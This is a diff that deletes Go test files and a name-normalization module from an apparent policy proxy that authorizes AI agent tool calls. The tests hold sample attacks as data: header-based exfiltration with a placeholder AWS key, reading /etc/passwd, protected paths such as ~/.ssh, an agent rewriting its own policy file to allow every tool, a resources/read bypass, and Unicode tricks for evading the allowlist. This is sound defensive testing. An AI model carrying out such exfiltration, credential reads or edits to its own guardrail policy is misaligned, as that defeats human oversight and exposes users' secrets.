- var allowed, rateLimited int
-
- for i := 0; i < 5; i++ {
- decision := engine.IsAllowed("fast_tool", nil)
-
- if decision.Allowed {
- allowed++
- } else if decision.Action == ActionRateLimited {
- rateLimited++
- // Verify the error message format
- if decision.Reason == "" {
- t.Errorf("Call %d: Rate limited but no reason provided", i+1)
- }
- } else {
- t.Errorf("Call %d: Unexpected action %q", i+1, decision.Action)
- }
- }
-
- // Assert: first 2 succeed, next 3 fail
- if allowed != 2 {
- t.Errorf("Expected 2 allowed calls, got %d", allowed)
- }
- if rateLimited != 3 {
- t.Errorf("Expected 3 rate limited calls, got %d", rateLimited)
- }
-}
-
-// TestRateLimitPerTool tests that rate limits are per-tool, not global.
-func TestRateLimitPerTool(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: per-tool-rate-limit-test
-spec:
- allowed_tools:
- - unlimited_tool
- tool_rules:
- - tool: limited_tool
- rate_limit: "1/minute"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // First call to limited_tool should succeed
- decision := engine.IsAllowed("limited_tool", nil)
- if !decision.Allowed {
- t.Error("First call to limited_tool should be allowed")
- }
-
- // Second call should be rate limited
- decision = engine.IsAllowed("limited_tool", nil)
- if decision.Allowed || decision.Action != ActionRateLimited {
- t.Error("Second call to limited_tool should be rate limited")
- }
-
- // Calls to unlimited_tool should still work (no rate limit)
- for i := 0; i < 10; i++ {
- decision = engine.IsAllowed("unlimited_tool", nil)
- if !decision.Allowed {
- t.Errorf("Call %d to unlimited_tool should be allowed", i+1)
- }
- }
-}
-
-// TestRateLimitWithArgValidation tests that rate limits and arg validation work together.
-func TestRateLimitWithArgValidation(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: rate-limit-with-args-test
-spec:
- tool_rules:
- - tool: api_tool
- rate_limit: "2/minute"
- allow_args:
- endpoint: "^/api/.*"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Call 1: Valid args - should succeed
- decision := engine.IsAllowed("api_tool", map[string]any{"endpoint": "/api/users"})
- if !decision.Allowed {
- t.Errorf("Call 1 should be allowed, got action=%s, reason=%s", decision.Action, decision.Reason)
- }
-
- // Call 2: Valid args - should succeed (within burst)
- decision = engine.IsAllowed("api_tool", map[string]any{"endpoint": "/api/orders"})
- if !decision.Allowed {
- t.Errorf("Call 2 should be allowed, got action=%s, reason=%s", decision.Action, decision.Reason)
- }
-
- // Call 3: Even with valid args - should be rate limited
- decision = engine.IsAllowed("api_tool", map[string]any{"endpoint": "/api/products"})
- if decision.Allowed || decision.Action != ActionRateLimited {
- t.Errorf("Call 3 should be rate limited, got action=%s", decision.Action)
- }
-}
-
-// TestRateLimitDecisionFields tests that rate limited decisions have correct fields.
-func TestRateLimitDecisionFields(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: rate-limit-fields-test
-spec:
- tool_rules:
- - tool: test_tool
- rate_limit: "1/minute"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Exhaust the rate limit
- _ = engine.IsAllowed("test_tool", nil) // First call succeeds
-
- // Second call should be rate limited
- decision := engine.IsAllowed("test_tool", nil)
-
- // Verify all decision fields
- if decision.Allowed {
- t.Error("Allowed should be false")
- }
- if decision.Action != ActionRateLimited {
- t.Errorf("Action should be %q, got %q", ActionRateLimited, decision.Action)
- }
- if !decision.ViolationDetected {
- t.Error("ViolationDetected should be true")
- }
- if decision.Reason == "" {
- t.Error("Reason should not be empty")
- }
- if !containsSubstring(decision.Reason, "rate limit") {
- t.Errorf("Reason should mention rate limit, got: %s", decision.Reason)
- }
-}
-
-// TestInvalidRateLimitReturnsError tests that invalid rate limit values cause Load() to fail.
-func TestInvalidRateLimitReturnsError(t *testing.T) {
- tests := []struct {
- name string
- rateLimit string
- wantErrMsg string
- }{
- {
- name: "Invalid format",
- rateLimit: "invalid",
- wantErrMsg: "invalid rate_limit",
- },
- {
- name: "Invalid duration",
- rateLimit: "5/week",
- wantErrMsg: "invalid rate_limit",
- },
- {
- name: "Zero count",
- rateLimit: "0/minute",
- wantErrMsg: "invalid rate_limit",
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: invalid-rate-limit-test
-spec:
- tool_rules:
- - tool: test_tool
- rate_limit: "` + tt.rateLimit + `"
-`
- engine := NewEngine()
- err := engine.Load([]byte(policyYAML))
-
- if err == nil {
- t.Error("Expected Load() to fail with invalid rate_limit, but it succeeded")
- } else if !containsSubstring(err.Error(), tt.wantErrMsg) {
- t.Errorf("Error message should contain %q, got: %v", tt.wantErrMsg, err)
- }
- })
- }
-}
-
-// TestResetLimiter tests that rate limiters can be reset.
-func TestResetLimiter(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: reset-limiter-test
-spec:
- tool_rules:
- - tool: test_tool
- rate_limit: "1/minute"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Exhaust the rate limit
- decision := engine.IsAllowed("test_tool", nil)
- if !decision.Allowed {
- t.Error("First call should be allowed")
- }
-
- decision = engine.IsAllowed("test_tool", nil)
- if decision.Allowed {
- t.Error("Second call should be rate limited")
- }
-
- // Reset the limiter
- engine.ResetLimiter("test_tool")
-
- // Now it should work again
- decision = engine.IsAllowed("test_tool", nil)
- if !decision.Allowed {
- t.Error("After reset, call should be allowed")
- }
-}
-
-// TestRateLimitCaseInsensitive tests that rate limits work case-insensitively.
-func TestRateLimitCaseInsensitive(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: case-insensitive-test
-spec:
- tool_rules:
- - tool: Test_Tool
- rate_limit: "1/minute"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Call with different case - should hit the same limiter
- decision := engine.IsAllowed("TEST_TOOL", nil)
- if !decision.Allowed {
- t.Error("First call should be allowed")
- }
-
- decision = engine.IsAllowed("test_tool", nil)
- if decision.Action != ActionRateLimited {
- t.Error("Second call with different case should be rate limited")
- }
-}
-
-// containsSubstring is a helper to check if a string contains a substring.
-func containsSubstring(s, substr string) bool {
- return len(s) >= len(substr) && (s == substr || len(s) > 0 && containsSubstringHelper(s, substr))
-}
-
-func containsSubstringHelper(s, substr string) bool {
- for i := 0; i <= len(s)-len(substr); i++ {
- if s[i:i+len(substr)] == substr {
- return true
- }
- }
- return false
-}
-
-// -----------------------------------------------------------------------------
-// Strict Args Tests
-// -----------------------------------------------------------------------------
-
-// TestStrictArgsRejectsUndeclaredArgs tests that strict_args mode blocks
-// arguments not declared in allow_args.
-func TestStrictArgsRejectsUndeclaredArgs(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: strict-args-test
-spec:
- tool_rules:
- - tool: fetch_url
- strict_args: true
- allow_args:
- url: "^https://.*"
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- name string
- args map[string]any
- wantAllowed bool
- wantReason string
- }{
- {
- name: "only declared arg - allowed",
- args: map[string]any{"url": "https://github.com"},
- wantAllowed: true,
- },
- {
- name: "undeclared arg - blocked",
- args: map[string]any{"url": "https://github.com", "headers": map[string]any{"X-Exfil": "secret"}},
- wantAllowed: false,
- wantReason: "undeclared argument",
- },
- {
- name: "multiple undeclared args - blocked",
- args: map[string]any{"url": "https://github.com", "timeout": 30, "retry": true},
- wantAllowed: false,
- wantReason: "undeclared argument",
- },
- {
- name: "no args when required - blocked",
- args: map[string]any{},
- wantAllowed: false,
- wantReason: "required argument missing",
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- decision := engine.IsAllowed("fetch_url", tt.args)
- if decision.Allowed != tt.wantAllowed {
- t.Errorf("Allowed = %v, want %v (reason: %s)", decision.Allowed, tt.wantAllowed, decision.Reason)
- }
- if tt.wantReason != "" && !containsSubstring(decision.Reason, tt.wantReason) {
- t.Errorf("Reason = %q, want to contain %q", decision.Reason, tt.wantReason)
- }
- })
- }
-}
-
-// TestStrictArgsDefault tests the global strict_args_default setting.
-func TestStrictArgsDefault(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: strict-default-test
-spec:
- strict_args_default: true
- tool_rules:
- - tool: api_call
- allow_args:
- endpoint: "^/api/.*"
- - tool: lenient_tool
- strict_args: false
- allow_args:
- param: "^valid$"
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- name string
- tool string
- args map[string]any
- wantAllowed bool
- }{
- {
- name: "global strict - extra arg blocked",
- tool: "api_call",
- args: map[string]any{"endpoint": "/api/users", "extra": "data"},
- wantAllowed: false,
- },
- {
- name: "global strict - only declared allowed",
- tool: "api_call",
- args: map[string]any{"endpoint": "/api/users"},
- wantAllowed: true,
- },
- {
- name: "override to lenient - extra arg allowed",
- tool: "lenient_tool",
- args: map[string]any{"param": "valid", "extra": "ignored"},
- wantAllowed: true,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- decision := engine.IsAllowed(tt.tool, tt.args)
- if decision.Allowed != tt.wantAllowed {
- t.Errorf("Allowed = %v, want %v (reason: %s)", decision.Allowed, tt.wantAllowed, decision.Reason)
- }
- })
- }
-}
-
-// TestStrictArgsWithAskAction tests strict_args with action=ask.
-func TestStrictArgsWithAskAction(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: strict-ask-test
-spec:
- tool_rules:
- - tool: dangerous_tool
- action: ask
- strict_args: true
- allow_args:
- target: "^(staging|prod)$"
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- name string
- args map[string]any
- wantAction string
- }{
- {
- name: "valid args - returns ASK",
- args: map[string]any{"target": "staging"},
- wantAction: ActionAsk,
- },
- {
- name: "undeclared arg - returns BLOCK (not ASK)",
- args: map[string]any{"target": "staging", "force": true},
- wantAction: ActionBlock,
- },
- {
- name: "invalid arg value - returns BLOCK",
- args: map[string]any{"target": "development"},
- wantAction: ActionBlock,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- decision := engine.IsAllowed("dangerous_tool", tt.args)
- if decision.Action != tt.wantAction {
- t.Errorf("Action = %q, want %q (reason: %s)", decision.Action, tt.wantAction, decision.Reason)
- }
- })
- }
-}
-
-// TestStrictArgsExfiltrationPrevention is the key security test.
-// It simulates the exact attack vector from the security review.
-func TestStrictArgsExfiltrationPrevention(t *testing.T) {
- // Attack scenario: Attacker tries to exfiltrate data via headers
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: exfil-prevention-test
-spec:
- tool_rules:
- - tool: http_request
- strict_args: true
- allow_args:
- url: "^https://api\\.github\\.com/.*"
- method: "^(GET|POST)$"
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Attack payload - trying to exfiltrate via headers
- attackPayload := map[string]any{
- "url": "https://api.github.com/repos",
- "method": "POST",
- "headers": map[string]any{
- "X-Exfiltrate": "AKIAIOSFODNN7EXAMPLE",
- },
- "body": "stolen data here",
- }
-
- decision := engine.IsAllowed("http_request", attackPayload)
-
- if decision.Allowed {
- t.Fatal("SECURITY FAILURE: Exfiltration attack via headers should be blocked!")
- }
-
- if decision.Action != ActionBlock {
- t.Errorf("Expected ActionBlock, got %s", decision.Action)
- }
-
- // Verify the reason mentions the undeclared argument
- if !containsSubstring(decision.Reason, "undeclared") {
- t.Errorf("Reason should mention undeclared argument, got: %s", decision.Reason)
- }
-}
-
-// TestLenientModeDefault tests that without strict_args, extra args are allowed.
-func TestLenientModeDefault(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: lenient-test
-spec:
- tool_rules:
- - tool: flexible_tool
- allow_args:
- required_param: "^valid$"
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Extra args should be allowed in default lenient mode
- decision := engine.IsAllowed("flexible_tool", map[string]any{
- "required_param": "valid",
- "extra1": "anything",
- "extra2": map[string]any{"nested": "data"},
- })
-
- if !decision.Allowed {
- t.Errorf("Lenient mode should allow extra args, got blocked: %s", decision.Reason)
- }
-}
-
-// -----------------------------------------------------------------------------
-// Method Allowlist Tests
-// -----------------------------------------------------------------------------
-
-// TestDefaultMethodsAllowed tests that default safe methods are allowed
-// when no explicit allowed_methods is specified in the policy.
-func TestDefaultMethodsAllowed(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: default-methods-test
-spec:
- allowed_tools:
- - some_tool
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Default safe methods should be allowed
- safeTests := []struct {
- method string
- allowed bool
- }{
- {"tools/call", true},
- {"tools/list", true},
- {"initialize", true},
- {"initialized", true},
- {"ping", true},
- {"completion/complete", true},
- {"notifications/initialized", true},
- {"notifications/progress", true},
- }
-
- for _, tt := range safeTests {
- t.Run("safe:"+tt.method, func(t *testing.T) {
- decision := engine.IsMethodAllowed(tt.method)
- if decision.Allowed != tt.allowed {
- t.Errorf("IsMethodAllowed(%q) = %v, want %v (reason: %s)",
- tt.method, decision.Allowed, tt.allowed, decision.Reason)
- }
- })
- }
-
- // Dangerous methods should be blocked by default
- dangerousTests := []struct {
- method string
- allowed bool
- }{
- {"resources/read", false},
- {"resources/list", false},
- {"prompts/get", false},
- {"prompts/list", false},
- {"logging/setLevel", false},
- {"custom/dangerous", false},
- }
-
- for _, tt := range dangerousTests {
- t.Run("dangerous:"+tt.method, func(t *testing.T) {
- decision := engine.IsMethodAllowed(tt.method)
- if decision.Allowed != tt.allowed {
- t.Errorf("IsMethodAllowed(%q) = %v, want %v (reason: %s)",
- tt.method, decision.Allowed, tt.allowed, decision.Reason)
- }
- })
- }
-}
-
-// TestExplicitMethodAllowlist tests that explicit allowed_methods overrides defaults.
-func TestExplicitMethodAllowlist(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: explicit-methods-test
-spec:
- allowed_methods:
- - tools/call
- - resources/read
- allowed_tools:
- - some_tool
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- method string
- allowed bool
- }{
- {"tools/call", true}, // Explicitly allowed
- {"resources/read", true}, // Explicitly allowed (normally blocked)
- {"tools/list", false}, // NOT in explicit list
- {"ping", false}, // NOT in explicit list
- {"prompts/get", false}, // NOT in explicit list
- }
-
- for _, tt := range tests {
- t.Run(tt.method, func(t *testing.T) {
- decision := engine.IsMethodAllowed(tt.method)
- if decision.Allowed != tt.allowed {
- t.Errorf("IsMethodAllowed(%q) = %v, want %v (reason: %s)",
- tt.method, decision.Allowed, tt.allowed, decision.Reason)
- }
- })
- }
-}
-
-// TestMethodDenylistTakesPrecedence tests that denied_methods blocks even
-// if the method is in allowed_methods.
-func TestMethodDenylistTakesPrecedence(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: deny-precedence-test
-spec:
- allowed_methods:
- - "*"
- denied_methods:
- - resources/read
- - resources/write
- allowed_tools:
- - some_tool
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- method string
- allowed bool
- }{
- {"tools/call", true}, // Allowed by wildcard
- {"prompts/get", true}, // Allowed by wildcard
- {"resources/read", false}, // Explicitly denied (deny wins)
- {"resources/write", false}, // Explicitly denied
- {"resources/list", true}, // Not denied, allowed by wildcard
- }
-
- for _, tt := range tests {
- t.Run(tt.method, func(t *testing.T) {
- decision := engine.IsMethodAllowed(tt.method)
- if decision.Allowed != tt.allowed {
- t.Errorf("IsMethodAllowed(%q) = %v, want %v (reason: %s)",
- tt.method, decision.Allowed, tt.allowed, decision.Reason)
- }
- })
- }
-}
-
-// TestMethodCaseInsensitive tests that method matching is case-insensitive.
-func TestMethodCaseInsensitive(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: case-test
-spec:
- allowed_methods:
- - tools/call
- denied_methods:
- - Resources/Read
- allowed_tools:
- - some_tool
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // All case variations should match
- allowedVariants := []string{
- "tools/call",
- "TOOLS/CALL",
- "Tools/Call",
- "tOoLs/CaLl",
- }
-
- for _, v := range allowedVariants {
- t.Run("allowed:"+v, func(t *testing.T) {
- decision := engine.IsMethodAllowed(v)
- if !decision.Allowed {
- t.Errorf("IsMethodAllowed(%q) should be allowed", v)
- }
- })
- }
-
- // Denied should also be case-insensitive
- deniedVariants := []string{
- "resources/read",
- "RESOURCES/READ",
- "Resources/Read",
- }
-
- for _, v := range deniedVariants {
- t.Run("denied:"+v, func(t *testing.T) {
- decision := engine.IsMethodAllowed(v)
- if decision.Allowed {
- t.Errorf("IsMethodAllowed(%q) should be denied", v)
- }
- })
- }
-}
-
-// TestWildcardMethod tests that "*" allows all methods (except denied).
-func TestWildcardMethod(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: wildcard-test
-spec:
- allowed_methods:
- - "*"
- allowed_tools:
- - some_tool
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Everything should be allowed with wildcard
- methods := []string{
- "tools/call",
- "resources/read",
- "resources/write",
- "prompts/get",
- "custom/anything",
- "completely/unknown/method",
- }
-
- for _, m := range methods {
- t.Run(m, func(t *testing.T) {
- decision := engine.IsMethodAllowed(m)
- if !decision.Allowed {
- t.Errorf("IsMethodAllowed(%q) with wildcard should be allowed", m)
- }
- })
- }
-}
-
-// TestGetAllowedMethods tests the getter for allowed methods.
-func TestGetAllowedMethods(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: getter-test
-spec:
- allowed_methods:
- - tools/call
- - tools/list
- allowed_tools:
- - some_tool
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- methods := engine.GetAllowedMethods()
- if len(methods) != 2 {
- t.Errorf("Expected 2 allowed methods, got %d", len(methods))
- }
-}
-
-// TestResourcesReadBypassPrevention is the key security test.
-// It verifies that the resources/read bypass attack is prevented.
-func TestResourcesReadBypassPrevention(t *testing.T) {
- // This is the attack scenario from the security review
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: security-test
-spec:
- # Default allowed_methods - resources/read should be BLOCKED
- allowed_tools:
- - read_file
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Attacker tries to bypass tool policy via resources/read
- decision := engine.IsMethodAllowed("resources/read")
- if decision.Allowed {
- t.Error("SECURITY FAILURE: resources/read should be blocked by default!")
- }
-
- // Also test variations attackers might try
- attacks := []string{
- "resources/read",
- "Resources/Read",
- "RESOURCES/READ",
- "resources/list",
- "prompts/get",
- }
-
- for _, attack := range attacks {
- t.Run("attack:"+attack, func(t *testing.T) {
- decision := engine.IsMethodAllowed(attack)
- if decision.Allowed {
- t.Errorf("SECURITY FAILURE: %q should be blocked!", attack)
- }
- })
- }
-}
-
-// -----------------------------------------------------------------------------
-// Protected Paths Tests
-// -----------------------------------------------------------------------------
-
-// TestProtectedPathsBlocksPolicyFile tests that the policy file is protected.
-func TestProtectedPathsBlocksPolicyFile(t *testing.T) {
- // Create a temp file to act as policy file
- tmpFile := "/tmp/test-policy-protected.yaml"
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: protected-paths-test
-spec:
- allowed_tools:
- - write_file
- - read_file
-`
- // Write temp policy file
- if err := os.WriteFile(tmpFile, []byte(policyYAML), 0644); err != nil {
- t.Fatalf("Failed to write temp policy: %v", err)
- }
- defer func() { _ = os.Remove(tmpFile) }()
-
- engine := NewEngine()
- if err := engine.LoadFromFile(tmpFile); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Verify policy file is in protected paths
- protectedPaths := engine.GetProtectedPaths()
- found := false
- for _, p := range protectedPaths {
- if strings.Contains(p, "test-policy-protected.yaml") {
- found = true
- break
- }
- }
- if !found {
- t.Error("Policy file should be automatically added to protected paths")
- }
-
- // Try to write to policy file - should be blocked
- decision := engine.IsAllowed("write_file", map[string]any{
- "path": tmpFile,
- "content": "malicious: true",
- })
- if decision.Allowed {
- t.Fatal("SECURITY FAILURE: Writing to policy file should be blocked!")
- }
- if !strings.Contains(decision.Reason, "protected path") {
- t.Errorf("Reason should mention protected path, got: %s", decision.Reason)
- }
-
- // Try to read policy file - should also be blocked
- decision = engine.IsAllowed("read_file", map[string]any{
- "path": tmpFile,
- })
- if decision.Allowed {
- t.Error("SECURITY FAILURE: Reading policy file should be blocked!")
- }
-}
-
-// TestProtectedPathsCustomPaths tests custom protected paths in policy.
-func TestProtectedPathsCustomPaths(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: custom-protected-paths
-spec:
- allowed_tools:
- - write_file
- - run_command
- protected_paths:
- - /etc/passwd
- - /etc/shadow
- - ~/.ssh
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- name string
- tool string
- args map[string]any
- wantAllowed bool
- }{
- {
- name: "write to /etc/passwd - blocked",
- tool: "write_file",
- args: map[string]any{"path": "/etc/passwd"},
- wantAllowed: false,
- },
- {
- name: "write to /etc/shadow - blocked",
- tool: "write_file",
- args: map[string]any{"path": "/etc/shadow"},
- wantAllowed: false,
- },
- {
- name: "write to normal file - allowed",
- tool: "write_file",
- args: map[string]any{"path": "/tmp/safe-file.txt"},
- wantAllowed: true,
- },
- {
- name: "command with protected path - blocked",
- tool: "run_command",
- args: map[string]any{"command": "cat /etc/passwd"},
- wantAllowed: false,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- decision := engine.IsAllowed(tt.tool, tt.args)
- if decision.Allowed != tt.wantAllowed {
- t.Errorf("Allowed = %v, want %v (reason: %s)",
- decision.Allowed, tt.wantAllowed, decision.Reason)
- }
- })
- }
-}
-
-// TestProtectedPathsNestedArgs tests that nested arguments are scanned.
-func TestProtectedPathsNestedArgs(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: nested-protected-paths
-spec:
- allowed_tools:
- - complex_tool
- protected_paths:
- - /secret/credentials.json
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Nested in map
- decision := engine.IsAllowed("complex_tool", map[string]any{
- "config": map[string]any{
- "output": "/secret/credentials.json",
- },
- })
- if decision.Allowed {
- t.Error("Protected path nested in map should be blocked")
- }
-
- // Nested in array
- decision = engine.IsAllowed("complex_tool", map[string]any{
- "files": []any{"/tmp/ok.txt", "/secret/credentials.json"},
- })
- if decision.Allowed {
- t.Error("Protected path in array should be blocked")
- }
-}
-
-// TestProtectedPathsSelfModificationAttack is the key security test.
-// Simulates the exact attack from the security review.
-func TestProtectedPathsSelfModificationAttack(t *testing.T) {
- tmpFile := "/tmp/attack-test-policy.yaml"
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: self-mod-defense
-spec:
- allowed_tools:
- - write_file
- - edit_file
- - fs_write
-`
- if err := os.WriteFile(tmpFile, []byte(policyYAML), 0644); err != nil {
- t.Fatalf("Failed to write temp policy: %v", err)
- }
- defer func() { _ = os.Remove(tmpFile) }()
-
- engine := NewEngine()
- if err := engine.LoadFromFile(tmpFile); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Attack 1: Direct write to policy file
- attack1 := engine.IsAllowed("write_file", map[string]any{
- "path": tmpFile,
- "content": `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-spec:
- allowed_tools:
- - "*" # Allow everything!
-`,
- })
- if attack1.Allowed {
- t.Fatal("SECURITY FAILURE: Direct policy modification should be blocked!")
- }
-
- // Attack 2: Edit policy file
- attack2 := engine.IsAllowed("edit_file", map[string]any{
- "file": tmpFile,
- "changes": "add malicious_tool to allowed_tools",
- })
- if attack2.Allowed {
- t.Fatal("SECURITY FAILURE: Policy edit should be blocked!")
- }
-
- // Attack 3: Using a generic write tool
- attack3 := engine.IsAllowed("fs_write", map[string]any{
- "target": tmpFile,
- "data": "mode: monitor",
- })
- if attack3.Allowed {
- t.Fatal("SECURITY FAILURE: fs_write to policy should be blocked!")
- }
-}
-
-// TestAddProtectedPath tests dynamically adding protected paths.
-func TestAddProtectedPath(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: dynamic-protection
-spec:
- allowed_tools:
- - write_file
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Initially allowed
- decision := engine.IsAllowed("write_file", map[string]any{
- "path": "/var/log/app.log",
- })
- if !decision.Allowed {
- t.Error("Should be allowed before adding protection")
- }
-
- // Add protection dynamically
- engine.AddProtectedPath("/var/log/app.log")
-
- // Now blocked
- decision = engine.IsAllowed("write_file", map[string]any{
- "path": "/var/log/app.log",
- })
- if decision.Allowed {
- t.Error("Should be blocked after adding protection")
- }
-}
diff --git a/implementations/go-proxy/pkg/policy/normalize.go b/implementations/go-proxy/pkg/policy/normalize.go
deleted file mode 100644
index f8b0274..0000000
--- a/implementations/go-proxy/pkg/policy/normalize.go
+++ /dev/null
@@ -1,54 +0,0 @@
-// Package policy implements the AIP policy engine for tool call authorization.
-package policy
-
-import (
- "strings"
- "unicode"
-
- "golang.org/x/text/unicode/norm"
-)
-
-// NormalizeName converts a tool or method name to canonical form for comparison.
-//
-// This function prevents Unicode-based bypass attacks where an attacker uses
-// visually similar characters to evade allowlist checks:
-//
-// - Fullwidth characters: ο½ο½
ο½ο½
ο½ο½
β delete
-// - Ligatures: ο¬le_read β file_read
-// - Superscripts: toolΒ² β tool2
-// - Zero-width characters: delete\u200Bfiles β deletefiles
-//
-// Normalization steps:
-// 1. NFKC normalization (compatibility decomposition + canonical composition)
-// 2. Lowercase conversion
-// 3. Whitespace trimming
-// 4. Remove non-printable/control characters
-//
-// Example attacks prevented:
-//
-// NormalizeName("ο½ο½
ο½ο½
ο½ο½
οΌΏο½ο½ο½ο½
ο½") β "delete_files"
-// NormalizeName("delete\u200Bfiles") β "deletefiles"
-// NormalizeName("ο¬le_read") β "file_read"
-func NormalizeName(s string) string {
- // Step 1: NFKC normalization
- // NFKC = Compatibility Decomposition, followed by Canonical Composition
- // This converts: ο½ β d, ο¬ β fi, Β² β 2, etc.
- normalized := norm.NFKC.String(s)
-
- // Step 2: Lowercase
- normalized = strings.ToLower(normalized)
-
- // Step 3: Trim whitespace (including Unicode whitespace)
- normalized = strings.TrimSpace(normalized)
-
- // Step 4: Remove non-printable and control characters
- // This catches zero-width spaces, BOM, and other invisible chars
- normalized = strings.Map(func(r rune) rune {
- if unicode.IsPrint(r) && !unicode.IsControl(r) {
- return r
- }
- return -1 // Remove character
- }, normalized)
-
- return normalized
-}
diff --git a/implementations/go-proxy/pkg/policy/normalize_test.go b/implementations/go-proxy/pkg/policy/normalize_test.go
deleted file mode 100644
index 68c6caf..0000000
--- a/implementations/go-proxy/pkg/policy/normalize_test.go
+++ /dev/null
@@ -1,242 +0,0 @@
-package policy
-
-import (
- "testing"
-)
-
-func TestNormalizeName(t *testing.T) {
- tests := []struct {
- name string
- input string
- expected string
- }{
- // Basic cases
- {
- name: "lowercase passthrough",
- input: "delete_files",
- expected: "delete_files",
- },
- {
- name: "uppercase to lowercase",
- input: "DELETE_FILES",
- expected: "delete_files",
- },
- {
- name: "mixed case",
- input: "Delete_Files",
- expected: "delete_files",
- },
- {
- name: "trim whitespace",
- input: " delete_files ",
- expected: "delete_files",
- },
-
- // Fullwidth Unicode attack vectors
- {
- name: "fullwidth lowercase",
- input: "ο½ο½
ο½ο½
